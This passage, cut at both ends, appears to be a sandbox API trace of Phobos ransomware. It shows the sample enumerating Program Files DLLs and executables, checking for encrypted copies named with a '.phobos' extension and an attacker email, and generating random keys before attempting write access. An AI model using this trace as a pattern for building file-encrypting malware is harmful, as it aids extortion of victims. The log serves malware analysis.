(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.169] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.172] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=868352) returned 1 [0150.172] CloseHandle (hObject=0x564) returned 1 [0150.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0150.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.172] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.181] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=326144) returned 1 [0150.181] CloseHandle (hObject=0x564) returned 1 [0150.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0150.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.182] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.184] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=854528) returned 1 [0150.184] CloseHandle (hObject=0x564) returned 1 [0150.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0150.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.184] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.195] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=964096) returned 1 [0150.195] CloseHandle (hObject=0x564) returned 1 [0150.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0150.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.196] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.201] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5632) returned 1 [0150.201] CloseHandle (hObject=0x564) returned 1 [0150.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0150.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.201] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.206] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=53248) returned 1 [0150.206] CloseHandle (hObject=0x564) returned 1 [0150.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0150.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.210] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.211] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=501760) returned 1 [0150.211] CloseHandle (hObject=0x564) returned 1 [0150.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0150.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.214] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.216] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=407552) returned 1 [0150.216] CloseHandle (hObject=0x564) returned 1 [0150.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0150.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.217] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.218] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=824128) returned 1 [0150.218] CloseHandle (hObject=0x564) returned 1 [0150.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0150.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.219] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.251] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5430) returned 1 [0150.251] CloseHandle (hObject=0x564) returned 1 [0150.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0150.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.251] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.317] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=49688) returned 1 [0150.317] CloseHandle (hObject=0x580) returned 1 [0150.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0150.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.317] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.335] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=538176) returned 1 [0150.335] CloseHandle (hObject=0x580) returned 1 [0150.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0150.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.336] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.344] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=128064) returned 1 [0150.344] CloseHandle (hObject=0x580) returned 1 [0150.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0150.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.345] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.433] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=206912) returned 1 [0150.433] CloseHandle (hObject=0x564) returned 1 [0150.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0150.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.434] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.498] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=29760) returned 1 [0150.498] CloseHandle (hObject=0x564) returned 1 [0150.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0150.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.500] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.501] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=14400) returned 1 [0150.502] CloseHandle (hObject=0x564) returned 1 [0150.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0150.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.503] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.504] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=15424) returned 1 [0150.504] CloseHandle (hObject=0x564) returned 1 [0150.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0150.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.505] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.506] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=201792) returned 1 [0150.507] CloseHandle (hObject=0x564) returned 1 [0150.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0150.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.508] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, 